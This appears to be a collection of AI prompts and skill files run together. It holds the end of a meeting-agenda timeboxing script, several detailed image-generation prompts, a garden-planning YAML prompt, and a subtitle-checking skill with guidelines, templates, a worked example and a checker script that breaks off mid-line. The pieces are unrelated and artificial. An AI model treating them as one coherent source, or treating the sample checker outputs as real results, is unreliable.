items in {cfg['length']:g} min is more than 8 per hour; merge or drop items.") if not any(it["outcome"] == "decide" for it in items): add("INFO", "No decision items; check that this meeting needs to be live.") cost = None if cfg["attendees"]: cost = round(cfg["attendees"] * cfg["length"] / 60, 1) add("INFO", f"Meeting cost: {cfg['attendees']} people x {cfg['length']:g} min = {cost:g} person-hours.") order = {"HIGH": 0, "WARN": 1, "INFO": 2} findings.sort(key=lambda f: order[f["severity"]]) return {"meeting": cfg["meeting"], "start": fmt(cfg["start"]), "end": fmt(end_slot), "length": cfg["length"], "buffer": cfg["buffer"], "available": avail, "planned": planned, "person_hours": cost, "items": [{k: (fmt(v) if k in ("start", "end") else v) for k, v in it.items()} for it in items], "findings": findings} def main(): ap = argparse.ArgumentParser(description="Timebox a meeting agenda") ap.add_argument("path", help="agenda text/Markdown/JSON file, or - for stdin") ap.add_argument("--fit", action="store_true", help="scale item durations to fit the available time") ap.add_argument("--json", action="store_true") args = ap.parse_args() try: text = sys.stdin.read() if args.path == "-" else open(args.path, encoding="utf-8").read() if not text.strip(): raise InputError("input is empty") meta, items, errors = parse_json(text) if text.lstrip().startswith("{") else parse_text(text) if errors: raise InputError("could not read the agenda:\n " + "\n ".join(errors)) if not items: raise InputError("no agenda items found (expected lines like '10 | Topic | Owner | decide')") cfg = settings(meta) before = sum(it["minutes"] or 0 for it in items) n_unknown = sum(1 for it in items if it["minutes"] is None) if args.fit: items = fit(items, cfg["available"]) except FileNotFoundError: print(f"error: file not found: {args.path}", file=sys.stderr) return 2 except (InputError, json.JSONDecodeError, ValueError) as e: print(f"error: {e}", file=sys.stderr) return 2 rep = analyze(items, cfg) rep["fitted_from"] = before if args.fit else None if args.json: print(json.dumps(rep, indent=2)) else: print(f"{rep['meeting']}: {rep['start']}-{rep['end']} ({rep['length']:g} min, buffer {rep['buffer']:g} min, {rep['available']:g} min for items)") if args.fit: extra = f" plus {n_unknown} without a duration (counted as 10 min each)" if n_unknown else "" print(f"Fitted: {before:g} min of items{extra} fitted into {rep['planned']:g} min (5-minute steps, breaks kept).") print(f"Planned: {rep['planned']:g} min\n") for it in rep["items"]: mins = "?" if it["minutes"] is None else f"{it['minutes']:g}" was = f" (was {it['original']:g})" if args.fit and it.get("original") not in (None, it["minutes"]) else "" who = f" ({it['owner']})" if it["owner"] else "" print(f" {it['start']}-{it['end']} {mins:>3} min{was:<10} {it['topic']}{who} [{it['outcome'] or '?'}]") if rep["buffer"]: print(f" {fmt(hhmm(rep['end']) - rep['buffer'])}-{rep['end']} {rep['buffer']:>3g} min Buffer / wrap-up") print() if rep["findings"]: print("Findings:") for f in rep["findings"]: print(f"- [{f['severity']}] {f['message']}") else: print("Findings: none") return 1 if any(f["severity"] == "HIGH" for f in rep["findings"]) else 0 if __name__ == "__main__": sys.exit(main())
Photoreal architectural photograph of a small timber treehouse retreat built into a single huge old oak tree, standing in a sloping summer meadow at the edge of a beech forest, seen from the meadow at the front left, camera at standing eye level (1.6 m) about 12 m away, 35mm lens, vertical lines straight, 16:9 landscape composition with the whole tree and treehouse in frame. The oak has a massive grey, deeply furrowed trunk about 1.2 m wide that splits into three thick main limbs above the roof, with a full, dense green summer canopy spreading over the treehouse. A square timber deck about 3.5 m above the ground wraps around the trunk, the trunk rising through the deck behind the cabin; the deck is held by two round natural timber posts at the front corners and four diagonal timber knee braces angled from the trunk. On the deck stands a compact cabin about 3 by 4 m, clad in vertical cedar boards weathered to a warm honey brown, under a steep gable roof of dark green standing-seam metal with the gable end facing the camera. Front wall: a round porthole window high in the gable apex; a large black-framed picture window that wraps around the front left corner of the cabin; and a teal-blue Dutch door, split into upper and lower halves, on the right half of the front wall, with a small black metal lantern beside it. A slim black stove chimney pipe rises from the right side of the roof. The deck has a railing of cedar posts with three horizontal natural ropes between them, warm globe string lights looped along the railing (off in daylight), and two mustard-yellow folding wooden deck chairs at the front. A straight timber staircase with a mid-height landing rises along the right side of the deck from the ground to the front right corner. On the left, a rope swing with a plain wooden seat hangs from a low horizontal oak limb. At the base of the tree: ferns, moss, a few large stones, and a pale gravel path curving through the meadow grass to the foot of the stairs, with wildflowers in white and purple. Warm late-afternoon sunlight from the left, dappled light through the leaves on the cedar walls, soft shadows, clear blue sky glimpsed between branches. Palette of honey cedar, moss green, teal blue, mustard yellow, charcoal black, and oak grey. Realistic wood grain, metal, rope, and bark textures, high-end architecture magazine photography, calm and inviting mood. No people, no text, no logos, no signs.
Photoreal architectural photograph of the same small cedar treehouse cabin and old oak from step 2, now on a snowy winter evening at blue hour, seen from the meadow at the front right instead of from the left, camera at standing eye level (1.6 m) about 14 m away, 35mm lens, vertical lines straight, 16:9 landscape composition with the oak trunk and the whole cabin in frame. Keep every fixed design detail identical to step 2. Host tree: one huge old oak with a massive grey, deeply furrowed trunk and wide flared root buttresses spreading over the ground, splitting into several thick limbs that arch over the cabin roof; it now stands on the left side of the frame, completely bare, its dark branches lined with fresh snow against a deep blue sky. The cabin stands right beside the trunk, to its right, on a low timber deck raised about 0.6 m on short square timber posts. Cabin: a compact two-storey-high single room clad in vertical cedar boards in bright honey brown, under a steep gable roof of dark green standing-seam metal with one small dark box vent on the roof slope, now carrying a soft layer of snow; the gable end faces the camera on the right, plain vertical cedar boards with a narrow green fascia. The long side wall, now seen at an angle on the left, has a row of large dark-framed floor-to-ceiling glass windows and a glass door, all glowing warm amber from inside. The timber deck wraps around the front and the gable side, with simple timber railings of square posts and thin vertical balusters, snow along the top rail, and a wooden slatted lounge chair on the deck dusted with snow. A wide, straight timber staircase with matching railings descends from the front right corner of the deck down to the meadow, now in the right foreground, its treads covered in fresh snow with a line of footprints. Warm globe string lights hang along the deck railing, glowing. At the base: smooth snow over the meadow and around the oak's roots, a bare deciduous forest fading into blue dusk behind. Cool blue-hour light on the snow mixed with warm amber light from the windows and string lights. Palette of honey cedar, dark green, charcoal black window frames, oak grey, warm amber, and snow white. Realistic wood, metal, glass, bark, and snow textures, architecture magazine photography, quiet mood. No people, no text, no logos, no signs.
Camera Angle & Composition: An eye-level mirror selfie. Medium shot, framing the figure from the top of the head to mid-thigh. Vertical 3:4 aspect ratio. Her gaze is focused on her reflection in the mirror. Pose: A relaxed yet confident stance. Her left hand holds a smartphone at chest level, slightly to the side. Her right arm is elegantly raised, with her fingers gently touching the brim of her witch hat. Outfit: A gothic witch costume in a Dark Romance style. A fitted black velvet dress with a deep sweetheart neckline. A high slit in the dress reveals her right thigh. A sheer black tulle or chiffon cape drapes along her arms like loose, flowing sleeves. She wears sheer black pantyhose featuring a spiderweb pattern and a large black spider design on the thigh. Accessories: A tall, classic witch hat made of textured black material, featuring a rectangular silver buckle at the front. A thin black velvet ribbon choker tied into a bow at the front of the neck. A long, layered necklace made of black beads, resembling rosary beads, with a large, vintage-style metal cross pendant. The smartphone has a dark, chunky protective case. Hair, Makeup & Appearance: slightly wavy,loose.The hair falls naturally over her shoulders. Gothic Glam makeup with flawless, skin and dramatic eye makeup. Her lips are closed and coated with rich, dark burgundy matte lipstick. Long, square-shaped nails with dark nail polish. Lighting, Atmosphere & Mood: Dim, mystical indoor lighting with a low-key lighting setup. Soft light gently illuminates her face and décolletage, leaving the background in shadow. The atmosphere is mysterious, elegant, and dark, combining Halloween aesthetics with Dark Academia. The overall mood is enigmatic and composed, with a subtle touch of mysticism. Face Preservation: Preserve the exact facial features, identity, facial structure, and proportions of the reference photo. Do not alter her face. Image Quality: Ultra-realistic, high-quality, sharp 8K photograph with realistic skin texture and natural details. Shot on an iPhone 16 Pro. Vertical 3:4 aspect ratio. Легка напівпосмішка
How to make a Memdeklaro self-declaration of identity? 1. Visit the Memdeklaro website at https://memdeklaro.org 2. Fill out the self declaration form and click Generate 3. Download the self declaration as a PDF or JPEG file
role: > You are an experienced kitchen gardener and allotment mentor who helps beginners and busy people grow food in small spaces. You plan around the local climate and frost dates, the sun the bed actually gets, and the time the gardener really has. You prefer reliable, productive crops, succession sowing, and simple crop rotation, and you are honest when something will not grow well in the given conditions. task: > Build a one-year vegetable garden plan for the space described below: choose suitable crops, lay them out in the beds, and produce a month-by-month calendar of sowing, transplanting, care, and harvesting, with succession sowings, companion and rotation notes, a weekly time estimate, and a shopping list. inputs: location_and_climate: "${location:Leeds, UK, temperate maritime, wet winters}" last_spring_frost: "${last_frost:late April}" first_autumn_frost: "${first_frost:late October}" space: "${space:two raised beds of 1.2 x 2.4 m plus four large pots on a patio}" sun_hours: "${sun:6 hours of direct sun in summer on the beds, the patio gets afternoon sun}" soil: "${soil:bought topsoil mixed with compost, slightly heavy}" household_and_tastes: "${household:two adults who cook a lot; love tomatoes, salad, beans, herbs; dislike beetroot}" time_available: "${time:about 2 hours a week, more at weekends in spring}" experience_level: "${experience:first full season, grew herbs before}" start_month: "${start:February}" extras: "${extras:no greenhouse, a sunny windowsill for seedlings, want to avoid chemical sprays}" instructions: - State assumptions where inputs are missing instead of asking questions. - Pick 8 to 14 crops that suit the climate, sun, space, and tastes; say why each one was chosen and list 2 or 3 crops to avoid here and why. - Lay out each bed and pot with crops, spacing, and number of plants; group crops by family so the plan supports rotation next year. - Give every crop its method (direct sow, sow indoors then transplant, or buy plants), its sowing window and transplant window relative to the frost dates, days to harvest, and harvest window. - Plan succession sowings for fast crops (for example salad leaves and radishes every 2 to 3 weeks) and what follows each crop when it finishes. - Write a month-by-month calendar from start_month for 12 months with tasks grouped as sow, plant out, care, and harvest, plus a realistic hours estimate per week for that month. - Include watering, feeding, mulching, support, and protection tasks, and natural pest and disease prevention for the main risks in this climate. - Add a shopping list of seeds, plants, and supplies with quantities. - Keep advice practical and organic; no chemical pesticides. output_format: YAML only, no prose outside the YAML, using exactly this structure output_schema: assumptions: [string] site_summary: climate: string frost_free_period: string growing_area_m2: number weekly_time_budget_hours: number crops: - name: string family: string why_chosen: string method: direct_sow | sow_indoors_transplant | buy_plants sow_window: string transplant_window: string or null days_to_harvest: string harvest_window: string succession: string or null followed_by: string or null crops_to_avoid: - name: string reason: string layout: - area: string size: string plantings: - crop: string plants_or_rows: string spacing_cm: string position: string companion_notes: [string] rotation_next_year: [string] calendar: - month: string sow: [string] plant_out: [string] care: [string] harvest: [string] hours_per_week: number pest_and_disease_prevention: - problem: string crops_at_risk: [string] prevention: string shopping_list: - item: string quantity: string when_needed: string beginner_tips: [string]
A wide, slightly elevated photograph of an ancient Roman floor mosaic uncovered in the courtyard of a Mediterranean villa ruin, the mosaic filling most of the frame in a 16:9 landscape composition. The mosaic shows a lively marine scene made of thousands of small hand-cut stone and glass tesserae: in the center a large octopus in terracotta red and burnt orange with curling tentacles outlined in dark charcoal tiles, its suckers picked out in cream; around it swim striped sea bream, a moray eel, a lobster, squid, and a leaping dolphin in slate grey, ochre, and muted teal; at the top two small wooden fishing boats with square sails and oarsmen drawn as simple dark silhouettes cast a net that curves across the scene; the water is rendered in rows of pale cream and soft blue-grey tesserae laid in gentle wavy lines that follow the shapes of the animals. A border of black and white wave scroll pattern and a braided guilloche band in red, ochre, and cream frames the whole panel. The surface is authentically aged: slightly uneven tiles, a few missing patches showing the grey mortar bed, hairline cracks, faded colors in one corner, a light dusting of sand, and small tufts of dry grass at the broken edge. Low warm late-afternoon sunlight rakes across the floor from the left, making each tessera catch the light and cast a tiny shadow, with the soft shadow of a broken column falling over one corner. Around the edges: weathered limestone paving, the base of a column, and a few terracotta pot shards. Archaeological documentary photography, true colors, crisp detail, calm and timeless mood. No people, no text, no letters, no inscriptions, no signatures, no watermark.
An extreme close-up macro photograph of an orb spider web covered in morning dew, stretched between two arching stems of dry meadow grass, composed as a wide 16:9 landscape. The web's spiral threads run diagonally across the frame, strung with hundreds of perfectly round dewdrops of different sizes, from tiny beads to large clear spheres; in the sharpest drops in the foreground, each sphere holds a tiny upside-down reflection of the meadow behind: a golden sunrise sky, a line of distant trees, and a few red poppies. The focus plane is razor thin and falls on one row of drops in the left third, which sparkle with pinpoint highlights and fine rainbow refraction at their edges, while the rest of the web melts into soft blur. The background is a smooth, creamy bokeh of warm gold, peach, and soft green from the low sun shining through mist over the meadow, with large round out-of-focus highlights in the upper right. A small garden spider sits far away near the edge of the web, out of focus and tiny, barely more than a dark speck. A few grass seed heads in the foreground are also blurred, framing the bottom edge. Backlit low golden-hour sunlight, gentle haze, high dynamic range, natural colors, crisp water texture, nature magazine macro photography taken with a 100mm macro lens at f/2.8, serene and delicate mood. No people, no text, no watermark.
A mid-century modern gouache illustration of a small mountaintop astronomical observatory in a red rock desert at dusk, wide 16:9 landscape composition, painted in flat, opaque gouache with visible brush texture and slightly chalky matte color. In the center right, on a flat mesa top, stands a white observatory building with a round silver-grey dome, its long shutter slit open and a telescope tube just visible pointing at the sky; beside it a low rectangular block building with one warm yellow lit window and a small radio antenna. A thin winding road with simple white dashes climbs the mesa in loose switchbacks from the lower left. The desert below is built from layered flat shapes: terracotta and rust orange mesas, a band of dusty pink cliffs, ochre sand dunes, and rounded sage-green shrubs and a few tall saguaro-like cactus silhouettes in the foreground on the left. The sky is a smooth gradient from deep teal and indigo at the top to warm apricot and coral at the horizon, scattered with small four-pointed stars, a thin crescent moon, and a faint band of the Milky Way rendered as soft dry-brush speckles. Long purple shadows stretch across the sand. Limited palette of teal, indigo, coral, rust, ochre, cream, and sage green, simplified geometric shapes, clean edges with a little hand-painted wobble, subtle paper grain, the look of a 1960s science book illustration or national park poster without any lettering. Calm, optimistic, wonder-filled mood. No people, no text, no letters, no logos, no border, no watermark.
Photoreal photograph of the same restored compact 1960s-style step van food truck from step 2, now during evening service at a riverside night market at blue hour, seen in a rear right three-quarter view from standing eye level (1.6 m) about 9 m away, 35mm lens, 16:9 landscape composition with the whole truck in frame, slightly left of center. Keep every fixed design detail identical to step 2: a short boxy step van body about 5.5 m long with softly rounded corners, a rounded cab roof, and a flat box roof; two-tone paint, glossy cream on the upper half and deep teal on the lower half, separated by a thin copper-orange stripe running all around the body just below the windows; black tires with large polished chrome hubcaps; a chrome front bumper and round headlights at the front. The rear of the truck now faces the camera on the left: two tall cream rear doors, each with a small round porthole window, a chrome rear bumper, and two small round red tail lights glowing softly; the front of the truck points away to the right. On the right side (the customer side, seen at an angle on the right of the frame): the large rectangular serving window cut into the cream upper body, with a big flat deep teal awning panel raised above it and held horizontally on thin silver struts, slightly wider than the window and sticking up above the roofline; the window has a brushed stainless steel counter shelf and a bright, warmly lit interior with shelves of glass jars, bottles, small copper pots, a coffee machine, and a small vase of pink and yellow flowers on the counter, and a small dark chalkboard hanging inside; a small round silver badge sits on the teal lower body near the rear wheel. Warm light from the open window spills onto the ground. A cook in a dark apron works behind the counter, softly blurred. In front of the window, a short queue of softly blurred customers seen from behind. Setting: a riverside promenade with a stone embankment, a dark river reflecting city lights in the background, other market stalls with warm lanterns and string lights out of focus. Deep blue sky with the last glow on the horizon, warm amber light from the window mixed with cool blue dusk, wet-looking cobblestones with reflections, lively but relaxed mood, realistic paint, chrome, and glass textures, evening street photography. No readable text, no letters, no numbers, no license plate characters, no real brand logos, no faces in focus.
--- name: srt-subtitle-quality-checker description: Checks SRT and WebVTT subtitle files for broken or overlapping timings, numbering gaps, empty cues, reading speed above a characters-per-second limit, long or extra lines, cues that flash by or linger, unbalanced tags, and sound labels, then rewrites and retimes the problem cues and can shift the whole file. Use when a user shares subtitles or captions and asks "check my subtitles", "why are these captions hard to read?", "fix the timing", or "make these subtitles follow the guidelines". --- # SRT Subtitle Quality Checker You help video makers, translators, and accessibility teams ship subtitles that people can actually read. You find timing errors that break players, cues that appear too briefly or carry too much text, and lines that are too long, and you fix them by rewriting the text more concisely and adjusting times, without changing the meaning. ## Files in this skill - `scripts/check_subtitles.py` - parses SRT and WebVTT, checks timing, numbering, reading speed, line length, line count, duration, gaps, tags, and sound labels, and can shift every timestamp (Python 3 standard library only) - `references/subtitle-guidelines.md` - common limits for reading speed, line length, duration, gaps, line breaks, and when to use SDH labels - `references/condensing-techniques.md` - how to shorten subtitle text without losing meaning, and how to retime cues - `templates/subtitle-review.md` - the review report to return - `examples/example-workshop-video.md` - a worked review of a short tutorial video ## Workflow ### 1. Collect the facts Ask, or assume and say so: - The file (SRT or VTT) and the video length; frame rate if known (24, 25, or 30 fps). - Audience and style guide: general adult viewers, children, a platform guide, or the client's own limits. - Subtitle type: same-language captions, translation, or SDH (for deaf and hard-of-hearing viewers, with sound labels). - Whether you may rewrite text or only retime it. ### 2. Run the checker ```bash python3 scripts/check_subtitles.py movie.srt python3 scripts/check_subtitles.py movie.srt --max-cps 15 --max-line 37 # children or stricter guides python3 scripts/check_subtitles.py movie.vtt --json python3 scripts/check_subtitles.py movie.srt --shift -1200 > movie-synced.srt # whole file 1.2 s earlier ``` Defaults: 17 characters per second, 42 characters per line, 2 lines, 0.833 to 7 seconds on screen, 83 ms minimum gap. Pick limits from `references/subtitle-guidelines.md` to match the audience. If you cannot run the script, check the cues by hand: duration, characters divided by seconds, longest line, and overlaps with the next cue. ### 3. Fix in this order 1. HIGH findings first: overlaps, out-of-order cues, end before start, bad timestamps, empty cues. These break players or hide text. 2. Reading speed: extend the cue into free time before or after it (respect the minimum gap and shot changes the user mentions), otherwise condense the text with `references/condensing-techniques.md`, otherwise split the cue in two at a natural pause. 3. Line length and line count: rebreak at natural phrase boundaries; keep the top line shorter when possible; never break between an article and its noun. 4. Too short or too long on screen: merge very short cues with a neighbor, split long ones. 5. INFO items: renumber, balance tags, remove sound labels from non-SDH files, chain cues (0 ms gap) or leave a visible gap. Rerun the checker on the corrected file until there are no HIGH findings and every WARN is fixed or explained. ### 4. Deliver Fill in `templates/subtitle-review.md`: summary with counts before and after, the limits used, a table of changed cues (old and new times and text), and the full corrected file in the same format as the input. Follow the style of `examples/example-workshop-video.md`. ## Rules - Never change the meaning, tone, or speaker of a line; condense filler, not content. - Keep names, numbers, and technical terms exactly; if a term is wrong, flag it instead of guessing. - Timing changes must stay in sync with the speech: extend a cue only into silence, by at most about 0.5 s before speech starts or 1 s after it ends, unless the user allows more. - Keep the input format (SRT stays SRT, VTT stays VTT) and the original encoding (UTF-8). - Say clearly which findings you could not fix without hearing the audio or seeing the video. FILE:references/subtitle-guidelines.md # Subtitle guidelines: common limits Different broadcasters and platforms publish their own style guides. The values below are common starting points; always prefer the client's or platform's guide when one exists, and say which limits you used. ## Reading speed (characters per second, CPS) CPS = visible characters in the cue (letters, digits, spaces, punctuation; not tags) divided by seconds on screen. | Audience | Typical CPS limit | |---|---| | General adult viewers, same-language or translated | 15 to 17 | | Fast-paced adult content where the guide allows it | up to 20 | | Children (around 6 to 11 years) | 12 to 13 | | Learners of the language, SDH with heavy sound labels | 13 to 15 | Words per minute is an older measure; around 160 to 180 wpm corresponds to about 15 to 17 CPS in English. ## Line length and line count - 37 to 42 characters per line for most Latin-script languages; 42 is the most common modern limit. - Maximum 2 lines per cue. A third line covers the picture and is hard to read. - Use one line when the text fits on one line; break into two only when needed. ## Duration on screen - Minimum: about 5/6 of a second (20 frames at 24 fps), even for a single word, so the eye registers it. - Maximum: about 7 seconds. Longer cues get reread and feel stuck; split them. ## Gaps between cues - Chained cues: 0 ms gap is fine when the speech is continuous. - Otherwise leave at least 2 frames (83 ms at 24 fps, 80 ms at 25 fps) so viewers notice that the text changed. - Gaps between 1 ms and 2 frames cause a visible flicker and should be closed or widened. ## Line breaks Break lines at natural linguistic units: - After punctuation (comma, full stop) when possible. - Before conjunctions (and, but, because) and prepositions. - Never between an article and its noun, an adjective and its noun, a first and last name, or a verb and its auxiliary. - Prefer a pyramid shape (shorter top line) when both breaks are equally good. ## Timing to speech and shots - Start the cue when the speech starts (a few frames early is fine), end it no more than about 1 second after the speech ends. - Avoid carrying a cue across a hard shot change; end it a couple of frames before the cut or start it after. ## SDH and captions - Sound labels like [door slams] or (MUSIC) and speaker IDs belong in SDH/closed captions, not in standard translated subtitles. - Keep labels short, lower case in square brackets is the most common modern style, and place them where the sound happens. ## Formatting - Italics for off-screen voices, voice-over, songs, and foreign words, if the guide uses them. Every opening tag needs a closing tag in the same cue. - No full stops at the end of single-line fragments is a style choice; follow the guide. - SRT: cue number, timestamp line `00:01:02,500 --> 00:01:04,000`, text, blank line. VTT: `WEBVTT` header, optional cue id, timestamps with a dot `00:01:02.500`. FILE:references/condensing-techniques.md # Condensing and retiming subtitles When a cue is too fast to read, try these in order. Stop as soon as the cue fits the limits. ## 1. Use free time first (no text change) - Look at the gap before and after the cue. Extend the start up to about 0.5 s earlier if nobody else is speaking, and the end up to about 1 s later if the next cue starts later. - Keep the minimum gap (2 frames) to the neighbors, or chain at 0 ms. - Required time for a cue = characters / CPS limit. Example: 68 characters at 17 CPS need 4.0 s. ## 2. Cut filler, keep content Remove words that the viewer hears or sees anyway: - Hesitations and fillers: "well", "you know", "I mean", "um", "so, basically". - Repetitions: "very, very" -> "very"; false starts. - Greetings and names already obvious from the picture. - Tag questions when tone is clear: "It's ready, isn't it?" -> "It's ready?" only if the meaning stays. ## 3. Use shorter forms | Long | Short | |---|---| | we are going to | we'll | | at this point in time | now | | in order to | to | | a large number of | many | | it is not possible to | you can't | | I would like to show you | let me show you | | due to the fact that | because | Contractions are usually fine in subtitles; follow the guide for formal content. ## 4. Simplify structure - Turn passive into active: "The bowl was cleaned by the artist" -> "The artist cleans the bowl". - Replace a clause with a single word when possible. - Split one long sentence into two shorter cues at a natural pause. ## 5. Split or merge cues - Split a cue longer than about 7 s, or one with a 3rd line, at a pause or punctuation; give each half time in proportion to its characters. - Merge a cue under about 0.8 s with its neighbor when it is the same speaker and the result fits the limits. ## What never to cut - Names, numbers, quantities, dates, technical terms, and negations ("not", "never"). - Words that carry the joke, the twist, or the emotion of the line. - Information the viewer needs later in the video. ## Retiming the whole file If every cue is early or late by the same amount, shift the whole file instead of editing cues: ```bash python3 scripts/check_subtitles.py movie.srt --shift 1500 > movie-shifted.srt # 1.5 s later python3 scripts/check_subtitles.py movie.srt --shift -800 > movie-shifted.srt # 0.8 s earlier ``` If the drift grows over time (in sync at the start, late at the end), the frame rate is probably wrong (for example 23.976 vs 25 fps); a constant shift will not fix it. Say so and ask for the frame rate of the video. FILE:templates/subtitle-review.md # Subtitle review: ${file_name} **Video:** ${video_title} (${duration}, ${fps} fps) **Type:** ${type: translation / same-language captions / SDH} **Limits used:** ${cps} chars/s, ${line} chars/line, ${lines} lines, ${min_dur} to ${max_dur} s on screen, ${gap} ms minimum gap (${source_of_limits}) ## Summary | | Before | After | |---|---|---| | Cues | | | | HIGH | | | | WARN | | | | INFO | | | | Average chars/s | | | Main problems in one or two sentences. ## Changes | Cue | Problem | Old time | New time | Old text | New text | |---|---|---|---|---|---| | | | | | | | ## Not fixed (needs audio or video) - Cue ..., reason ... ## Notes for the editor - Style choices made (italics, contractions, labels). - Anything to check against the picture (shot changes, on-screen text). ## Corrected file ``` (full corrected SRT or VTT here, same format as the input) ``` FILE:examples/example-workshop-video.md # Example: subtitle review of a short tutorial video ## User request "Here are the English subtitles for our 25-second kintsugi workshop clip. Viewers say they can't keep up. Can you check them and fix what's wrong? General adult audience, normal subtitles, not SDH." ## Input (excerpt of interview.srt) ``` 2 00:00:03,250 --> 00:00:04,000 Today we are going to look at how to repair a cracked ceramic bowl with gold. 3 00:00:03,900 --> 00:00:06,500 [HAMMER TAPPING] First, clean the edges. 5 00:00:07,000 --> 00:00:16,000 <i>This technique is called kintsugi. ``` ## Checker run ``` $ python3 scripts/check_subtitles.py interview.srt interview.srt (SRT): 8 cues, 00:00:01,000 to 00:00:24,000, avg 16.3 chars/s, avg 2.37 s on screen HIGH 3 WARN 9 INFO 3 HIGH overlap cue 3 @ 00:00:03,900: overlaps the previous cue by 100 ms; end the previous cue at 00:00:03,817 HIGH end-before-start cue 8 @ 00:00:21,000: ends at 00:00:20,500, not after its start HIGH empty-cue cue 9 @ 00:00:22,000: cue has no visible text WARN too-short cue 2 @ 00:00:03,250: on screen 0.75 s (minimum 0.83 s) WARN reading-speed cue 2 @ 00:00:03,250: 102.7 chars/s (limit 17); needs 4.53 s on screen or about 64 fewer chars ... ``` ## Review (filled template, shortened) **Limits used:** 17 chars/s, 42 chars/line, 2 lines, 0.833 to 7 s, 83 ms gap (common general-audience values; no client guide given). | | Before | After | |---|---|---| | Cues | 8 | 8 | | HIGH | 3 | 0 | | WARN | 9 | 0 | | INFO | 3 | 0 | Main problems: cue 2 carried a whole sentence for under a second, two cues had broken times, a 9-second cue lingered, and cue 7 had three long lines. All fixed by condensing filler, using the silence after the speech, and splitting one cue. | Cue | Problem | Old time | New time | Old text | New text | |---|---|---|---|---|---| | 2 | 102.7 chars/s, 77-char line, overlap with 3 | 03,250-04,000 | 03,300-06,600 | Today we are going to look at how to repair a cracked ceramic bowl with gold. | Today we'll repair a cracked bowl / with lacquer and gold. | | 3 | sound label in non-SDH file, overlap | 03,900-06,500 | 06,700-08,200 | [HAMMER TAPPING] / First, clean the edges. | First, clean the edges. | | 4 (was 5) | 9 s on screen, unclosed italics, numbering gap | 07,000-16,000 | 08,300-11,000 | `<i>`This technique is called kintsugi. | `<i>`This technique is called kintsugi.`</i>` | | 5 (was 6) | 0.4 s on screen | 16,000-16,400 | 16,000-16,900 | Okay. | Okay. | | 6 and 7 (was 7) | 56 chars/s, 3 lines, 67-char line | 17,000-19,000 | 17,000-21,000 and 21,100-22,800 | You will need lacquer, a fine brush, and gold powder, and patience, / lots of patience, / because each layer must dry. | You'll need lacquer, a fine brush, / gold powder, and lots of patience. + Each layer must dry first. | | 8 (was 8) | ends before it starts | 21,000-20,500 | 22,900-24,000 | Let's start. | Let's start. | | 9 | empty cue | 22,000-24,000 | removed | | | Note: the old cue 2 was shortened ("look at how to", "ceramic") only where the picture already shows it; "lacquer" was added because the speaker names it a few seconds later and the viewer needs it. **Not fixed:** none, but please confirm against the video that the speaker pauses after "gold" (cue 2 now runs 2.6 s longer, into what looks like silence) and that "Let's start." is spoken at about 22.9 s. Corrected file rechecked: ``` $ python3 scripts/check_subtitles.py interview-fixed.srt interview-fixed.srt (SRT): 8 cues, 00:00:01,000 to 00:00:24,000, avg 14.5 chars/s, avg 2.17 s on screen HIGH 0 WARN 0 INFO 0 no problems found ``` FILE:scripts/check_subtitles.py #!/usr/bin/env python3 """Check SRT or WebVTT subtitle files for timing and readability problems. Usage: python3 check_subtitles.py FILE [FILE ...] [options] python3 check_subtitles.py - < movie.srt (read stdin) Options: --max-cps N maximum characters per second (default 17) --max-line N maximum characters per line (default 42) --max-lines N maximum lines per cue (default 2) --min-dur S minimum cue duration in seconds (default 0.833, 20 frames at 24 fps) --max-dur S maximum cue duration in seconds (default 7.0) --min-gap MS minimum gap between cues in milliseconds (default 83, 2 frames at 24 fps) --shift MS print the file with every timestamp shifted by MS (may be negative) and exit --json print findings as JSON --fail-on LEVEL exit 1 if any finding is at least LEVEL: high (default), warn, info Findings: HIGH = broken or overlapping timing, unreadable numbering, empty cue; WARN = reading speed, line length, too many lines, too short or long on screen; INFO = tiny gaps, unbalanced tags, hearing-impaired brackets, statistics. Exit codes: 0 ok, 1 findings at or above --fail-on, 2 usage or parse error. Python 3 standard library only. """ import json import math import re import sys TS = re.compile(r"^\s*(\d{1,2}:)?(\d{1,2}):(\d{2})[,.](\d{1,3})\s*-->\s*(\d{1,2}:)?(\d{1,2}):(\d{2})[,.](\d{1,3})(.*)$") TAG = re.compile(r"</?[^>]+>|\{\\[^}]*\}") LEVELS = {"info": 0, "warn": 1, "high": 2} def to_ms(h, m, s, ms): h = int(h[:-1]) if h else 0 return ((h * 60 + int(m)) * 60 + int(s)) * 1000 + int(ms.ljust(3, "0")) def fmt(ms, vtt=False): sign = "-" if ms < 0 else "" ms = abs(ms) h, rem = divmod(ms, 3600000) m, rem = divmod(rem, 60000) s, rem = divmod(rem, 1000) sep = "." if vtt else "," return f"{sign}{h:02d}:{m:02d}:{s:02d}{sep}{rem:03d}" def parse(text): """Return (cues, errors, is_vtt). Each cue: dict(index, start, end, lines, line_no).""" text = text.replace("\r\n", "\n").replace("\r", "\n").lstrip("\ufeff") is_vtt = text.lstrip().startswith("WEBVTT") blocks = re.split(r"\n\s*\n", text.strip("\n")) cues, errors = [], [] line_no = 1 for block in blocks: lines = block.split("\n") start_line = line_no line_no += len(lines) + 1 if is_vtt and (lines[0].startswith("WEBVTT") or lines[0].startswith("NOTE") or lines[0].startswith("STYLE") or lines[0].startswith("REGION")): continue ts_i = next((i for i, ln in enumerate(lines[:3]) if "-->" in ln), None) if ts_i is None: errors.append({"level": "high", "rule": "unparsed-block", "line": start_line, "message": f"block without a timestamp line: {lines[0][:50]!r}"}) continue m = TS.match(lines[ts_i]) if not m: errors.append({"level": "high", "rule": "bad-timestamp", "line": start_line + ts_i, "message": f"cannot read timestamp {lines[ts_i].strip()!r} (expected 00:01:02,500 --> 00:01:04,000)"}) continue g = m.groups() index = lines[0].strip() if ts_i == 1 else None cues.append({"index": index, "start": to_ms(*g[0:4]), "end": to_ms(*g[4:8]), "lines": [ln for ln in lines[ts_i + 1:]], "line_no": start_line}) return cues, errors, is_vtt def visible(line): return TAG.sub("", line).strip() def check(cues, errors, opts, is_vtt): out = list(errors) def add(level, rule, cue, msg): out.append({"level": level, "rule": rule, "line": cue["line_no"], "cue": cue["index"] or "-", "time": fmt(cue["start"], is_vtt), "message": msg}) if not is_vtt: expected = 1 for c in cues: if c["index"] is None or not c["index"].isdigit(): add("high", "bad-number", c, f"cue number missing or not a number: {c['index']!r}") elif int(c["index"]) != expected: add("warn", "numbering", c, f"cue number {c['index']} but expected {expected} (renumber the file)") expected = int(c["index"]) expected += 1 prev = None for c in cues: dur = (c["end"] - c["start"]) / 1000 text_lines = [visible(ln) for ln in c["lines"] if visible(ln)] chars = sum(len(ln) for ln in text_lines) if c["end"] <= c["start"]: add("high", "end-before-start", c, f"ends at {fmt(c['end'], 